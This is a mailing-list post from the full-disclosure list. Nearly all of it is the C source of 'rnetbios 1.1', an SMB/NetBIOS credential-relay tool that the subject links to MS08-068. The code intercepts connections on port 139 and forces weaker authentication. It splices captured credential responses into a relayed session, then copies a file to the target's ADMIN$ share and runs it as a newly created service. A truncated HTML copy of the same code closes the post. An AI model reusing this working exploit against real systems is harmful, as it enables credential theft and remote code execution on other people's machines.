[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [Full-disclosure] rnetbios1.1  and about ms08-068
From:       yuange <yuange1975 () hotmail ! com>
Date:       2010-12-31 13:43:57
Message-ID: SNT104-W5343AF7E0C98971851A38EC4040 () phx ! gbl
[Download RAW message or body]

[Attachment #2 (multipart/alternative)]


http://hi.baidu.com/yuange1975/blog/item/c4d825ecf55f373562d09f03.html
 
 
 

#include <windows.h> 
#include <winsock.h>
#include <stdio.h>
#include <string.h>
#include <winnetwk.h>
#pragma  comment(lib,"ws2_32")
#pragma  comment(lib,"Mpr.lib")

#define  BINDNUM      10
#define  THREADNUM    BINDNUM
#define  SERVERPORT   139
#define  BUFFSIZE     0x4000
typedef struct rserver{
   
 int socketclient;
    int socketserver;
 int socketconnects;
 int socketconnectd;
  
 // struct sockaddr_in iprnetbios;
//  struct sockaddr_in ippsexec;
    SOCKET ipclient;
    SOCKET iprnetbios;
    SOCKET ippsexec;
    SOCKET ipdest;
// BOOL   rself;
//  SOCKET iprnetbios;
} RSERVER;
 
typedef struct rnet{

 int   fd;
 int   fd2;
    int   fd3;
 int   fd4;
 int   long72;
    int   *long72add;
    int   long73ok;
    int   *long73okadd;
 int   recvbytes;
 char *buff;
 char *buff72;
 char *buff73;
 char *buff73ok;
 char *filename;
    char *namereq;
    char *namereturn;
 char *ipbuff;
 char *namebuff;
    char *buffgetname;
    char *buff0x82;

 BOOL loginok;

} RNET;
typedef struct psinfo{
   
 char *ip;
 char *filename;
}PSINFO;
 

void   psexec(PSINFO *psinfo);
void   rnetbios(RSERVER *rinfo);
void   rnetbiosthread(void *rinfo );
void   nameuncode(char *namebuff,char *ipbuff);
void   changepass(char *buff,char *buff73);
int    waitfd4(RNET *rnetinfo,RSERVER *rinfoadd);
BOOL   rnetchangepacket(RNET *rnetinfo);
BOOL   rnetchangepacket2(RNET *rnetinfo);

int    newsend(int fd,char *buff,int size,int flag);
int main(int argc, char **argv)
{
  RSERVER  rinfo[THREADNUM];
  int      fd2;
  int      fd3[BINDNUM];
  struct   sockaddr_in s_in1,s_in2,s_in3,s_in4;
  struct   hostent *he;
  int      i;  //,randnum;   
  int      result;
  BOOL     loginhimself;
  SOCKET   d_ip,bindip;
  
  WSADATA  wsaData;
  DWORD    ThreadID; 
  
    printf("\n rnetbios ver 1.1.");
 printf("\n copy by yuange 2000.4.7.");
 printf("\n rcopy 2002.10.14.");
 printf("\n welcome to my homepage http://yuange.yeah.net.");
 printf("\n usage: %s [rnebios to ip] [rnetbios bind ip] [rnetbios bind ip2] [rnetbios client \
ip][new can netbios ip]",argv[0]);  printf("\n example:%s 0 192.168.5.9 192.168.6.9 \
192.168.7.9",argv[0]);   // printf("\n when somebody file:\\yourip,your host will rnetbios to \
the [ip] \n or his source ip if you haven't specified [ip] address"); // printf("\n After he \
login ,you can file:\\127.0.0.1 to the [ip] .\n ");  //   psexec(1);
    if(argc<5){
  printf("\n error!\n");
      printf("\n usage: %s [rnebios to ip] [rnetbios bind ip] [rnetbios bind ip2] [rnetbios \
client ip][new can netbios ip]",argv[0]);  printf("\n\n");
  exit(1);
    }

    result= WSAStartup(MAKEWORD(1, 1), &wsaData);
    if (result != 0) {
  fprintf(stderr, "Your computer was not connected "
   "to the Internet at the time that "
   "this program was launched, or you "
   "do not have a 32-bit "
   "connection to the Internet.");
  exit(2);
 }
/*
  for(i=0,j=0;i<16;++i){
         name=servername[i] ;
       if(name==0) j=1;
       if(j==1) name=0x20;
       namebuff[2*i+5]= ( (name >> 4) & 0x000F ) + 'A';
       namebuff[2*i+6]= (name & 0x000F) + 'A';
 }
    namebuff[37]=0; 
*/
    d_ip=-1;
    d_ip = inet_addr(argv[1]);
    if(d_ip==-1){
          he = gethostbyname(argv[1]); 
       if(!he)  printf("\n Can't get the ip of %s !\n",argv[1]); //server);
          else     memcpy(&d_ip, he->h_addr, sizeof(d_ip));
 }  
 
 if(d_ip==0) d_ip=-1;
 if(d_ip==-1){
  loginhimself=1;
  printf("\n rnetbios to the netbios ip.");
 }
 else   {
  loginhimself=0;
  printf("\n rnetbios to %s",argv[1]); //server);
 }
  s_in1.sin_addr.s_addr=d_ip;
    fd2 = socket(AF_INET, SOCK_STREAM,0);
    s_in2.sin_family = AF_INET;
    s_in2.sin_port = htons(SERVERPORT);
    s_in2.sin_addr.s_addr = 0;
    s_in2.sin_addr.s_addr = inet_addr(argv[2]);
 if(s_in2.sin_addr.s_addr==0||s_in2.sin_addr.s_addr==-1){
       printf("\n\n argv[2] ip error. use the ip: 192.168.0.2");
       s_in2.sin_addr.s_addr = inet_addr("192.168.0.2");
    }
 i=bind(fd2,&s_in2, sizeof(s_in2));
    if(i<0){
   i=WSAGetLastError();
      printf("\n bind error 0x%x",i);
      exit(1);
    }
 
 i=listen(fd2,100); 
    if(i<0){
   i=WSAGetLastError();
      printf("\n bind error 0x%x",i);
      exit(1);
    }
 
    s_in3.sin_family = AF_INET;
    s_in3.sin_port = htons(SERVERPORT);
    s_in3.sin_addr.s_addr = 0;
    s_in3.sin_addr.s_addr = inet_addr(argv[3]);
 if(s_in3.sin_addr.s_addr==0||s_in3.sin_addr.s_addr==-1){
       printf("\n\n argv[3] ip error. use the ip: 192.168.0.3");
       s_in3.sin_addr.s_addr = inet_addr("192.168.0.3");
    }
    
 bindip=s_in3.sin_addr.s_addr;
 for(i=0;i<BINDNUM;++i){
       fd3[i] = socket(AF_INET, SOCK_STREAM,0);
    bind(fd3[i],&s_in3, sizeof(s_in3));
    listen(fd3[i],10); 
       s_in3.sin_addr.s_addr=ntohl(htonl(s_in3.sin_addr.s_addr)+1);
    }
 
 s_in4.sin_addr.s_addr = 0;
    s_in4.sin_addr.s_addr = inet_addr(argv[4]);
 if(s_in4.sin_addr.s_addr==0||s_in4.sin_addr.s_addr==-1){
       printf("\n\n argv[4] ip error. use the ip: 192.168.0.4");
       s_in4.sin_addr.s_addr = inet_addr("192.168.0.4");
    }

    for(i=0;i<THREADNUM;++i){
 
  rinfo[i].socketclient=fd2;
  rinfo[i].socketserver=fd3[i];
  rinfo[i].ipclient=s_in2.sin_addr.s_addr;
  rinfo[i].iprnetbios=ntohl(htonl(bindip)+i);
  rinfo[i].ippsexec=s_in4.sin_addr.s_addr;
  rinfo[i].ipdest=d_ip;
     CreateThread((LPSECURITY_ATTRIBUTES)NULL,(DWORD)0,(LPTHREAD_START_ROUTINE)rnetbiosthread,(LPVOID)&rinfo[i],(DWORD)0,(LPDWORD)&ThreadID); \


 } 
 Sleep(0x7fffffff);
  //  closesocket(fd1);
    closesocket(fd2);
 //   closesocket(fd3);
 //   closesocket(fd4);
    WSACleanup( );
    return(0); 
}
 
 void psexec(PSINFO *info) 
 {
  /*
   SECURITY_ATTRIBUTES sa;
   PROCESS_INFORMATION ProcessInformation;
   HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;   
   STARTUPINFO siinfo;
   
*/
   PSINFO  psinfo=*info;
   NETRESOURCE lpNetResource;
   int  fd1,i;
 //  char *ip2;
   char cmdstr[0x100];
   char res[0x100];
   char filename[0x100];
   char tempfilename[0x100];
   char ser[0x100];
//   char *name="cc.exe";
   char *user="Administrator";
   char *pass="test";
   SC_HANDLE scm,svc; 
   char *cmdstrformat="psexec.exe \\\\%s -u Administrator -p test -s cmd.exe";
//   char *cmdstrformat="\\\\%s\\admin$ ";
 //  fd1=*(int *)(ip);
 //   ip2=*(int *)(ip+4)+8;
  // ip2="192.168.70.29";
   wsprintf(cmdstr,cmdstrformat,psinfo.ip);  //"127.0.0.1");   //
   GetTempPath(0x100,tempfilename);
   GetTempFileName(tempfilename,NULL,NULL,tempfilename);
   DeleteFile(tempfilename);
   for(i=strlen(tempfilename);i>0;--i){
    if(tempfilename[i]=='\\')
    {
     strcpy(tempfilename,tempfilename+i+1);
           break;
    }
   }
  // system(cmdstr);
  // ExitThread(0);
   wsprintf(res,"\\\\%s\\admin$",psinfo.ip);  
   wsprintf(filename,"\\\\%s\\admin$\\system32\\%s",psinfo.ip,tempfilename);  
   wsprintf(ser,"\\\\%s",psinfo.ip);  
  lpNetResource.dwScope=RESOURCE_CONNECTED;
  lpNetResource.dwType =RESOURCETYPE_DISK;
  lpNetResource.dwDisplayType=RESOURCEDISPLAYTYPE_SHARE;
  lpNetResource.dwUsage=RESOURCEUSAGE_CONNECTABLE;
  lpNetResource.lpLocalName=NULL;
  lpNetResource.lpRemoteName=res;
  lpNetResource.lpComment=NULL;
  lpNetResource.lpProvider=NULL;

  i=WNetAddConnection2A(&lpNetResource,user,pass,CONNECT_UPDATE_PROFILE);
  scm=OpenSCManager(ser,NULL,SC_MANAGER_CREATE_SERVICE);
  printf("\n scm=0x%x err=0x%x ip=%s",scm,GetLastError(),psinfo.ip);
  svc=CreateService(scm,tempfilename,tempfilename,SERVICE_ALL_ACCESS, \
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,SERVICE_DEMAND_START,SERVICE_ERROR_IGNORE, \
tempfilename,NULL,NULL,NULL,NULL,NULL);  if(svc==NULL)  \
svc=OpenService(scm,tempfilename,SERVICE_ALL_ACCESS);  printf("\n svc=0x%x \
err=0x%x",svc,GetLastError());  i=CopyFile(psinfo.filename,filename,TRUE);
  printf("\n copy file error=0x%x ip=%s", GetLastError(),psinfo.ip);

  i=StartService(svc,0,NULL);
  printf("\n i=0x%x error=0x%x",i,GetLastError());
  i=DeleteService(svc);
  DeleteFile(filename);
 

  // printf("\n cmdstr=%s\n",cmdstr);
   /*
         sa.nLength=12;
            sa.lpSecurityDescriptor=0;
            sa.bInheritHandle=TRUE;
 
            CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
            CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

    ZeroMemory(&siinfo,sizeof(siinfo));
     
    siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    siinfo.wShowWindow = SW_HIDE;
    siinfo.hStdInput = hReadPipe2;
    siinfo.hStdOutput=hWritePipe1;
    siinfo.hStdError =hWritePipe1;
// CreateProcess(NULL,&cmdstr,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);            
  */
  //  system(cmdstr);

 //  printf("\n psexec end. closesocket fd1=0x%x",fd1);
  
   CloseServiceHandle(scm);
   CloseServiceHandle(svc);
 //  closesocket(fd1);
 //  closesocket(fd2); 
   i=WNetCancelConnection2A(res,CONNECT_UPDATE_PROFILE,TRUE);
   ExitThread(0);
   printf("\n Exitthread erro1 !");
   return;
 }

void  rnetbiosthread(RSERVER *rinfoadd)
{
      
   RSERVER rinfo;
      int i,fd1,fd2;
      struct sockaddr_in s_in1,s_in2;
      SOCKET dip;
      rinfo=*rinfoadd;
     // memcpy(&rinfo,rinfoadd,sizeof(rinfo));
   dip=rinfo.ipdest;
   while(1)
   {
         i=sizeof(struct sockaddr);
      fd1=accept(rinfo.socketclient,&s_in1,&i);
   if(s_in1.sin_addr.s_addr!=rinfo.ipclient)
         {
 
    if(rinfo.ipdest==-1) dip=s_in1.sin_addr.s_addr;
             fd2 = socket(AF_INET, SOCK_STREAM,0);
             s_in2.sin_family = AF_INET;
             s_in2.sin_port = htons(SERVERPORT);
             s_in2.sin_addr.s_addr = dip;
             printf("\n Connect %s",inet_ntoa(s_in2.sin_addr));
          if(!connect(fd2, (struct sockaddr *)&s_in2, sizeof(struct sockaddr_in)))
    {

                 printf("\n Connect %s ok!",inet_ntoa(s_in2.sin_addr));
                 rinfo.socketconnects=fd1;
     rinfo.socketconnectd=fd2;
     
     rnetbios(&rinfo);
   //  printf("\n rnetbios return");
    }
    else  printf("\n Connect %s error!",inet_ntoa(s_in2.sin_addr));
    closesocket(fd2);
   }
   closesocket(fd1);
   }
   
   ExitThread(1);
  
}
 void  rnetbios(RSERVER *rinfoadd)
 {
  
  RNET      rnetinfo;
  RSERVER   rinfo=*rinfoadd;
//  PSINFO  psinfo; 
  int     fd,fd2,fd3,fd4;
  struct  sockaddr_in s_in1,s_in2,s_in4;

  char buff[BUFFSIZE+1];
  char buff72[BUFFSIZE+1];
  char buff73[BUFFSIZE+1];
  char buff73ok[BUFFSIZE+1];
  char filename[BUFFSIZE+1];
  char buff0x82[]={0x82,0,0,0};
  char namereq[]={0x81,0,0,0};
 // int  long72=0;
 
  u_short  name;
  char buffgetname[]={0x00,0x72,0x00,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,0x41,0x41,0x41,0x41,0x41,0x41
  ,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,0x00,0x01};
  char namebuff[]={0x81,0,0,0x44,0x20,0x45,0x4f,0x45,0x42,0x45,0x4a,0x43,0x48,0x46,0x44,0x43,0x41,0x46,0x48,0x45,0x50,0x46
  ,0x43,0x45,0x4d,0x45,0x45,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,00
   ,0x20,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x43,0x41,0x43,0x41,0x43,0x41
  ,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,00
   };
  char ipbuff[0x100];
  char namereturn[]={0x82,0,0,0,0,0};
 
  struct sockaddr addr2;
  int i,j,k,exitcode;
  //,k,l,ii;
 // int usernameaddress1;
 // int usernameaddress2;
 
  
 // int  strflg1,strflg2;
  DWORD       ThreadID;
  HANDLE      threadhandle=0;
  
 // BOOL     loginok;

        s_in1.sin_addr.s_addr=rinfo.iprnetbios;
  wsprintf(ipbuff,"%s",inet_ntoa(s_in1.sin_addr));
        nameuncode(namebuff,ipbuff);
       
      fd=fd2;
        fd2=rinfo.socketconnects;
     fd3=rinfo.socketconnectd;
        fd4=0;
  rnetinfo.fd2=fd2;
  rnetinfo.fd3=fd3;
  rnetinfo.fd4=fd4;
        rnetinfo.buff=buff;
  rnetinfo.buff72=buff72;
  rnetinfo.buff73=buff73;
        rnetinfo.buff73ok=buff73ok;
  rnetinfo.filename=filename;
  rnetinfo.buffgetname=buffgetname;
  rnetinfo.ipbuff=ipbuff;
  rnetinfo.namebuff=namebuff;
        rnetinfo.buff0x82=buff0x82;
        rnetinfo.namereq=namereq;
  rnetinfo.long72add=&rnetinfo.long72;
  rnetinfo.long72=0;
     rnetinfo.long73okadd=&rnetinfo.long73ok;
  rnetinfo.long73ok=0;
     rnetinfo.loginok=FALSE;

 //     printf("\n Connect %s",inet_ntoa(s_in2.sin_addr));
      i = 1;
         ioctlsocket(fd2, FIONBIO, &i);
   i = 1;
         ioctlsocket(fd3, FIONBIO, &i);
      
   i = 1;
         ioctlsocket(rinfo.socketserver, FIONBIO, &i);
      
   
   ThreadID=0;
            memset(buff,0,BUFFSIZE);
   memset(filename,0,BUFFSIZE);
   while(1)
   {
    if(rnetinfo.loginok==TRUE)
    {
                    i=GetExitCodeThread(threadhandle,&exitcode);
     if(i==1&&exitcode!=STILL_ACTIVE){
        // printf("\n psexec exit 0x%x code",exitcode);
         break;
     }
    }
       Sleep(5);
               
           //  if(rnetinfo.loginok==TRUE) recv(fd2,buff,BUFFSIZE,0);
    i=recv(fd,buff,BUFFSIZE,0);
    if(i<=0&&WSAGetLastError()==0x2746) {
      //  printf("\n recv fd 0x%x bytes. error=0x2746",i);
     break;
                }
    if(i>0)
    {
     rnetinfo.recvbytes=i;
     if(rnetchangepacket(&rnetinfo)==TRUE)
                    {
                        threadhandle=waitfd4(&rnetinfo,&rinfo); 
       
     }
                    memset(buff,0,BUFFSIZE);
                
    }

                
             i=recv(fd3,buff,BUFFSIZE,0);
             if(i<=0&&WSAGetLastError()==0x2746) {
       //    printf("\n recv fd3 0x%x bytes. error=0x2746",i);
     break;
                }
          if(i>0)
    {
         rnetinfo.recvbytes=i; 
           if(rnetchangepacket2(&rnetinfo)==TRUE)
      {
                            threadhandle=waitfd4(&rnetinfo,&rinfo); 
       
      }
                        memset(buff,0,BUFFSIZE);
                            
    }
    if(rnetinfo.loginok==FALSE) fd=fd2;
    else                        fd=rnetinfo.fd4;
                rnetinfo.fd=fd;

   }

            closesocket(fd2);
   closesocket(fd3);
            closesocket(rnetinfo.fd4);
   CloseHandle(threadhandle);
         return;
}
 
 
 

void nameuncode(char *namebuff,char *ipbuff)
{
 int i,j;
    u_short  name;
    char servername[]={"*SMBSERVER"};
 for(i=0,j=0;i<16;++i){
         name=ipbuff[i];  //servername[i] ;
       if(name==0) j=1;
       if(j==1) name=0x20;
       namebuff[2*i+0x27]= ( (name >> 4) & 0x000F ) + 'A';
       namebuff[2*i+0x28]= (name & 0x000F) + 'A';
 }
 for(i=0,j=0;i<16;++i){
         name=servername[i] ;
       if(name==0) j=1;
       if(j==1) name=0x20;
       namebuff[2*i+5]= ( (name >> 4) & 0x000F ) + 'A';
       namebuff[2*i+6]= (name & 0x000F) + 'A';
 }
    namebuff[0x25]=0;
 namebuff[0x47]=0;
 return;
}
 

int newsend(int fd,char *buff,int size,int flag)
{
 int j;
    int i = 0;
    ioctlsocket(fd, FIONBIO, &i);
 j=send(fd,buff,size,flag);
    i = 1;
 ioctlsocket(fd, FIONBIO, &i);
    return j; 
}

void  changepass(char *buff11,char *buff7311)
{
 
  char     *buff=*(int *)buff11;
  char     *buff73=*(int *)buff7311;
  int      usernameaddress1;
  int      usernameaddress2;
  int      strflg1,strflg2;   
  u_short  name;    
         memcpy(buff+0x41,buff73+0x41,0x18);
         // copy password
         if(buff[0x35]==0x18) memcpy(buff+0x41+0x18,buff73+0x41+0x18,0x18);
 
         // copy the next password
         strflg1=buff73[0x0f];
         strflg1&=0x80;
         if(strflg1!=0) strflg1=1;
         strflg2=buff[0x0f];
         strflg2&=0x80;
         if(strflg2!=0) strflg2=1;
         //str is unicode ?
         usernameaddress1=0x41+0x18+buff73[0x35]+strflg1;
         usernameaddress2=0x41+0x18+buff[0x35]+strflg2;
         name=1;
         while(name!=0){
         name=buff73[usernameaddress1];
         if(strflg1==0) ++usernameaddress1;
         else usernameaddress1+=2;
         buff[usernameaddress2]=name;
         ++usernameaddress2;
         if(strflg2!=0) {
          ++usernameaddress2;
          buff[usernameaddress2]=0;
         }
         } 
         // copy user name £¬²»¹»ÑϽ÷£¬²»¹ýÃãÇ¿ÄÜÓá£
}
 
BOOL  rnetchangepacket(RNET *rnetinfoadd)
{
   
  
  char filename[0x100];
  unsigned char name;
     int i,j,k;
     RNET rnetinfo=*rnetinfoadd;
     if(rnetinfo.loginok==FALSE&&rnetinfo.buff[0x8]==0x32)
  {
   i=*(WORD *)(rnetinfo.buff+0x41);
   if(i==0x05&&rnetinfo.recvbytes>0x4e&&rnetinfo.buff[0x4e]!=0)
   {   
    memcpy(rnetinfo.filename,rnetinfo.buff+0x4e,rnetinfo.recvbytes-0x4e);
  //  *(int *)(rnetinfo.buff+9)=0xc0000016;
      //       rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.buff,rnetinfo.recvbytes,0);
   //       closesocket(rnetinfo.fd2);
    printf("\n get file name ok!");
    return(TRUE);
         }
   if(i==0x01&&rnetinfo.recvbytes>0x54&&rnetinfo.buff[0x54]!=0)
   {
    memcpy(rnetinfo.filename,rnetinfo.buff+0x54,rnetinfo.recvbytes-0x54);
 //      *(int *)(rnetinfo.buff+9)=0xc0000016;
             rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.buff,rnetinfo.recvbytes,0);
 //       closesocket(rnetinfo.fd2);
  
    printf("\n get file name ok!");
    return(TRUE);
   }  
  }
      
     if(rnetinfo.buff[0x8]==0x72)
  {
   if(rnetinfo.loginok==FALSE)
   {
   //  memcpy(rnetinfo.buff72,rnetinfo.buff,rnetinfo.recvbytes);
     memset(rnetinfo.buff+0xc,0,4);
                 rnetinfo.long72=rnetinfo.recvbytes;
         //Õâ¶ùÊÇϵͳ֧³Öʲô·þÎñµÄ±ê¼Ç£¬WIN2000ÓëWINNTϵͳ²»Ò»Ñù¡£
         //ÓÐÒ»·½ÊÇWINNT¿´Ò»°ã¾ÍÊÇ0£¬¶øÁ½·½¶¼ÊÇWIN2000ºóÃæЭÒéµÄÃÜ ë·½Ê½¾Í²»Ò»Ñù¡£
         //ÉèÖóÉ0£¬ÆÛÆ­ÈÃÆäÒÔWINNTµÄ·½Ê½·¢ËͼÓÃܵÄÃÜ ë£¬ÒԺýػñ¡£µ«¿ÉÄÜWIN2000Ö§³Ö²»ºÃ¡£
     //   printf("\n fd2 recv smb 0x72  packet ");
   }
   else
   {  
                        memcpy(rnetinfo.buff72+0x1c,rnetinfo.buff+0x1c,8);
      memcpy(rnetinfo.buff,rnetinfo.buff72,rnetinfo.long72);
      //  printf("\n send smb 0x72 packet .");
      rnetinfo.buff[0x25]=5;
        //run in win9x.the win9x netbios client use 
        //Õâ¶ù¿Í»§¶Ë¿ÉÄÜÒªWIN9X£¬²»ÖªµÀWINT¡£WIN2000Ôõô´¦Àí¡£
      newsend(rnetinfo.fd,rnetinfo.buff,rnetinfo.long72,0);
      return(FALSE);
      rnetinfo.recvbytes=0;
             }
   
  }
     if(rnetinfo.buff[0x8]==0x73||rnetinfo.buff[0x8]==0x75)
  {
           
   if(rnetinfo.loginok==FALSE)
   {
    if(rnetinfo.buff[0x33]==0x18)
       {
                 memcpy(rnetinfo.buff73,rnetinfo.buff,rnetinfo.recvbytes); 
             }
    
        i=*(WORD *)(rnetinfo.buff+0x27);
    if(rnetinfo.buff[0x8]==0x75) i=0x20;
             j=*(unsigned char *)(rnetinfo.buff+0x4+i);
    i+=*(WORD *)(rnetinfo.buff+i+0x0b);
    i=i+2*j+7;                 
    memcpy(filename,rnetinfo.buff+i,sizeof(filename));
    j=1;
    if(filename[1]==0) j=2;
             for(i=0,k=0;i<0x100;i+=j,++k)
             {
                   name=filename[i];
                   filename[k]=name;
                             //   if(i==0&&name=='\\') k-=1;
             }
    for(i=strlen(filename);i>0;--i)
    {
                        name=filename[i];
          if(name=='\\')
                        {
           strcpy(filename,filename+i+1);
              break;
      }
    }
            
   
    if(strcmp(filename,"IPC$")!=0&&strcmp(filename,"ADMIN$")!=0)
    {
   
        strcpy(rnetinfo.filename,filename);
     printf("\n file name=%s",filename);
  //  closesocket(rnetinfo.fd2);
  //  printf("\n the new get file name ok!");
        return(TRUE);
             } 
         } 
   else{
           
   
      if(rnetinfo.buff[0x33]==0x18)
   {
      //      printf("\n send login ok packet.");
       //     printf("\n send login ok packet.");
       //     newsend(rnetinfo.fd,rnetinfo.buff73ok,rnetinfo.long73ok,0);
  // return;
       changepass(&rnetinfo.buff,&rnetinfo.buff73);
                memcpy(rnetinfo.buff+0x20,rnetinfo.buff73ok+0x20,2);  //user id
   }
   }
  }
     if(memcmp(rnetinfo.buff,rnetinfo.namereq,3)==0) 
  {
   if(rnetinfo.loginok==FALSE) 
         {
       rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.namebuff,0x48,0);
       //      printf("\n send fd3 0x%x 0x%x bytes.",rnetinfo.namebuff[0],rnetinfo.recvbytes);
         }
   else 
         {
       rnetinfo.recvbytes=newsend(rnetinfo.fd,rnetinfo.buff0x82,0x6,0);
           //  rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.namebuff,0x48,0);
        //     printf("\n send fd3 0x%x 0x%x bytes.",rnetinfo.namebuff[0],rnetinfo.recvbytes);
   }
     }
  else
  {
   if(rnetinfo.loginok==FALSE) \
rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.buff,rnetinfo.recvbytes,0);  else
   {
  //  memcpy(rnetinfo.buff73+0x1c,rnetinfo.buff73ok+0x1c,8);
       rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.buff,rnetinfo.recvbytes,0);  
         } 

    //  printf("\n send fd3 0x%x 0x%x bytes.",rnetinfo.buff[8],rnetinfo.recvbytes);
 
  }
     return(FALSE);
}
      
 
BOOL  rnetchangepacket2(RNET *rnetinfoadd)
{
  RNET rnetinfo=*rnetinfoadd;      
     if(rnetinfo.buff[0x8]==0x72)
  {
   if(rnetinfo.loginok==FALSE){
     memcpy(rnetinfo.buff72,rnetinfo.buff,rnetinfo.recvbytes);
   //  memset(rnetinfo.buff+0xc,0,4);
                 *rnetinfo.long72add=rnetinfo.recvbytes;
     
             }
   
  }
     if(rnetinfo.buff[0x8]==0x73||rnetinfo.buff[0x8]==0x75)
  {
             if(*(int \
*)(rnetinfo.buff+9)==0&&rnetinfo.buff73[0x33]==0x18&&rnetinfo.loginok==FALSE)  {
                  memcpy(rnetinfo.buff73ok,rnetinfo.buff,rnetinfo.recvbytes);
                  *rnetinfo.long73okadd=rnetinfo.recvbytes;
               //   rnetinfo.loginok=TRUE; 
      //   closesocket(rnetinfo.fd2);
      printf("\n now login ok!");
              // rnetinfo.recvbytes=0;  
   //   return(TRUE);
              }
    
  }

    if(rnetinfo.loginok==FALSE&&rnetinfo.buff[0x8]==0x32&&rnetinfo.buff[9]!=0&&rnetinfo.buff73[0x33]==0x18)
  {
   //     *(int *)(rnetinfo.buff+9)=0xc0000016;
  }  
  rnetinfo.recvbytes=newsend(rnetinfo.fd,rnetinfo.buff,rnetinfo.recvbytes,0);
     if(rnetinfo.loginok==FALSE&&rnetinfo.buff[0x8]==0x32&&rnetinfo.buff[9]!=0&&rnetinfo.buff73[0x33]==0x18)
  {
    //  closesocket(rnetinfo.fd2);
      //   return(TRUE);
  }  
      //   printf("\n send fd 0x%x 0x%x bytes.",rnetinfo.buff[8],rnetinfo.recvbytes);
     return(FALSE);
}
      
int waitfd4(RNET *rnetinfo,RSERVER *rinfoadd)
{
// RNET     rnetinfo=*rnet;
 RSERVER  rinfo=*rinfoadd;
 int i,j,k,threadhandle,exitcode;
 unsigned char name;
 char *ipbuff[0x100];
 PSINFO   psinfo;
    struct  sockaddr_in s_in1,s_in2,s_in4;
    struct sockaddr addr2;
    DWORD       ThreadID;
                             rnetinfo->loginok=TRUE;
                             s_in1.sin_addr.s_addr=rinfo.iprnetbios;
                 wsprintf(ipbuff,"%s",inet_ntoa(s_in1.sin_addr));
                             psinfo.ip=&ipbuff;
/*
        i=*(WORD *)(rnetinfo->buff73+0x27);
                            j=*(unsigned char *)(rnetinfo->buff73+0x4+i);
        i+=*(WORD *)(rnetinfo->buff73+i+0x0b);
        i=i+2*j+7;                 
        psinfo.filename=rnetinfo->buff73+i;
        j=1;
        if(psinfo.filename[1]==0) j=2;
                             for(i=0,k=0;i<0x100;i+=j,++k)
                             {
                                name=psinfo.filename[i];
                                psinfo.filename[k]=name;
                             //   if(i==0&&name=='\\') k-=1;
                             }
        for(i=strlen(psinfo.filename);i>0;--i)
        {
                                  name=psinfo.filename[i];
          if(name=='\\')
                                  {
             strcpy(psinfo.filename,psinfo.filename+i+1);
          break;
                                  }
                             }
*/
   
                    psinfo.filename=rnetinfo->filename;
                             j=1;
        if(rnetinfo->filename[1]==0) j=2;
                             for(i=0,k=0;i<0x100;i+=j,++k)
                             {
                                name=rnetinfo->filename[i];
                                rnetinfo->filename[k]=name;
                                if(i==0&&name=='\\') k-=1;
                             }

        printf("\n filename=%s\n",psinfo.filename);
                 threadhandle=CreateThread((LPSECURITY_ATTRIBUTES)NULL,(DWORD)0,(LPTHREAD_START_ROUTINE)psexec,(LPVOID)&psinfo,(DWORD)0,(LPDWORD)&ThreadID);
  // break;
        while(1){
         Sleep(5);
                                       if(rnetinfo->loginok==TRUE)
            {
                                          i=GetExitCodeThread(threadhandle,&exitcode);
                           if(i==1&&exitcode!=STILL_ACTIVE){
                    //       printf("\n psexec exit 0x%x code",exitcode);
                           break;
            }
            }
                                  
                                 i=sizeof(struct sockaddr);
                     rnetinfo->fd4=accept(rinfo.socketserver,&addr2,&i);
         
                                 memcpy(&s_in4,&addr2,15);
         if(rnetinfo->fd4>0)
         {
          if(s_in4.sin_addr.s_addr!=rinfo.ippsexec){
               printf("\n fd4 error.");
            closesocket(rnetinfo->fd4);
          }
                                     else
          { 
          printf("\n fd4 ok! ip=%s",ipbuff);
          break;
          }
         }
        }
                          
  return(threadhandle);
}
 		 	   		  


[Attachment #5 (text/html)]

<html>
<head>
<style><!--
.hmmessage P
{
margin:0px;
padding:0px
}
body.hmmessage
{
font-size: 10pt;
font-family:΢ÈíÑźÚ
}
--></style>
</head>
<body class='hmmessage'>
&nbsp;<BR>
&nbsp;<BR>
<A href="http://hi.baidu.com/yuange1975/blog/item/c4d825ecf55f373562d09f03.html">http://hi.baidu.com/yuange1975/blog/item/c4d825ecf55f373562d09f03.html</A><BR>
 &nbsp;<BR>
&nbsp;<BR>
&nbsp;<BR>
<BR>#include &lt;windows.h&gt; <BR>#include &lt;winsock.h&gt;<BR>#include \
&lt;stdio.h&gt;<BR>#include &lt;string.h&gt;<BR>#include &lt;winnetwk.h&gt;<BR>#pragma&nbsp; \
comment(lib,"ws2_32")<BR>#pragma&nbsp; comment(lib,"Mpr.lib")<BR> <BR>#define&nbsp; \
BINDNUM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10<BR>#define&nbsp; THREADNUM&nbsp;&nbsp;&nbsp; \
BINDNUM<BR>#define&nbsp; SERVERPORT&nbsp;&nbsp; 139<BR>#define&nbsp; \
BUFFSIZE&nbsp;&nbsp;&nbsp;&nbsp; 0x4000<BR> typedef struct rserver{<BR>&nbsp;&nbsp; \
<BR>&nbsp;int socketclient;<BR>&nbsp;&nbsp;&nbsp; int socketserver;<BR>&nbsp;int \
